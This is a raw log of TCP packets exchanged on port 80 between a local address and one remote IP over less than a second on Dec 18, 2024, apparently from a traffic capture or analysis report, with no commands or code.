Dec 18, 2024 11:47:18.838063002 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.838804007 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.838851929 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.839154959 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.839206934 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.839975119 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.840017080 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.840354919 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.840404987 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.841141939 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.841192961 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.841223001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.841274977 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.842360973 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.842407942 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.842585087 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.842633009 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.843498945 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.843554020 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.843837976 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.843885899 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.844734907 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.844813108 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.844852924 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.844877005 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.845890045 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.845942020 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.846184969 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.846235037 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.846981049 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.847043991 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.847207069 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.847253084 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.848166943 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.848220110 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.848278999 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.848332882 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.849333048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.849375010 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.849483967 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.849534035 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.850500107 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.850548983 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.850728989 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.850785971 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.851659060 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.851716042 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.851718903 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.851756096 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.852830887 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.852889061 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.852972031 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.853025913 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.854007006 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.854052067 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.854144096 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.854195118 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.855170012 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.855230093 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.855384111 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.855432034 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.856338978 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.856393099 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.856400013 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.856456041 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.857546091 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.857600927 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.857661963 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.857731104 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.858680964 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.858799934 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.858802080 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.858836889 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.859858036 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.859927893 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.860083103 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.860127926 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.861004114 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.861057043 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.861172915 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.861227036 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.862185001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.862235069 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.862396955 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.862442970 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.863373995 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.863410950 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.863535881 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.863580942 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.864748001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.864799976 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.864984989 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.865044117 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.865710020 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.865758896 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.865844011 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.865891933 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.866941929 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.866992950 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.867023945 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.867075920 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.868077040 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.868129015 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.868169069 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.868220091 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.869232893 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.869282961 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.869364023 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.869422913 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.870600939 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.870642900 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.871557951 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.871623993 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.871627092 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.871639967 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.871674061 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.871699095 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.872766018 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.872812986 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.873097897 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.873150110 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.873986006 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.874034882 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.874300957 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.874386072 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.875117064 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.875128984 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.875168085 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.876230955 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.876277924 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.876334906 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.876382113 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.877401114 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.877448082 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.877619028 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.877657890 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.878587008 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.878633976 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.878778934 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.878823996 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.879776955 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.879832029 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.880054951 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.880109072 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.880914927 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.880961895 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.881048918 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.881103992 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.882085085 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.882142067 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.882302999 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.882352114 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.883260012 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.883311033 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.883462906 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.883514881 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.884514093 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.884567022 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.884766102 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.884807110 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.885576963 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.885626078 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.885706902 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.885754108 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.886756897 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.886822939 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.887001038 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.887056112 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.888392925 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.888444901 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.888700008 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.888745070 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.889503002 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.889539957 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.889574051 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.889615059 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.891150951 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.891201019 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.891288042 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.891328096 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.892183065 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.892265081 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.892345905 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.892385006 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:18.893426895 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:18.893480062 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.022499084 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.022552967 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.023127079 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.023166895 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.023194075 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.023211956 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.023246050 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.024077892 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.024369955 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.024415970 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.024585962 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.024624109 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.025497913 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.025541067 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.025808096 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.025847912 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.026318073 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.026377916 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.026689053 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.026735067 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.027475119 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.027524948 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.027868986 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.027909040 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.028723001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.028760910 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.028825998 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.028865099 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.029822111 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.029877901 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.030003071 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.030049086 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.031029940 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.031131029 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.031162024 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.031178951 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.032207966 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.032262087 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.032522917 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.032567024 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.033529043 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.033570051 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.033847094 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.033884048 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.034785032 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.034832954 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.035265923 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.035305023 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.035773993 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.035819054 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.035860062 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.035980940 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.036925077 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.036974907 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.037020922 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.037060022 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.038055897 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.038098097 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.038522959 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.038577080 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.039196014 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.039235115 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.039343119 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.039391041 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.040421963 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.040460110 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.040833950 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.040872097 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.041646004 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.041692972 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.041753054 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.041800976 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.042994022 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.043035030 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.043410063 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.043467045 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.044110060 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.044127941 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.044153929 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.044171095 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.045336008 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.045384884 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.045471907 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.045557022 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.046755075 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.046806097 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.047007084 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.047110081 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.047593117 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.047693014 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.047739983 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.047795057 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.048593044 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.048638105 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.049074888 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.049120903 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.049679041 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.049741030 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.050008059 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.050241947 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.050925970 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.050973892 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.051171064 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.051218987 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.052084923 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.052133083 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.052366972 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.052413940 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.053203106 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.053292036 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.053544998 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.053589106 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.054472923 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.054538965 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.054682016 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.054722071 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.055550098 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.055591106 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.055663109 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.055726051 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.056708097 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.056747913 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.056890011 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.056935072 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.057912111 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.057952881 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.058936119 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.059066057 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.059108019 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.059120893 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.059309959 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.060305119 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.060363054 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.060376883 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.060463905 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.061423063 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.061501980 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.061677933 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.061733961 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.062567949 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.062619925 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.063369989 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.063692093 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.063853979 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.063868046 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.063906908 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.064951897 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.065009117 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.065093040 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.065136909 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.066116095 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.066164017 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:19.066298962 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:19.066523075 CET	49806	80	192.168.2.6	31.41.244.11
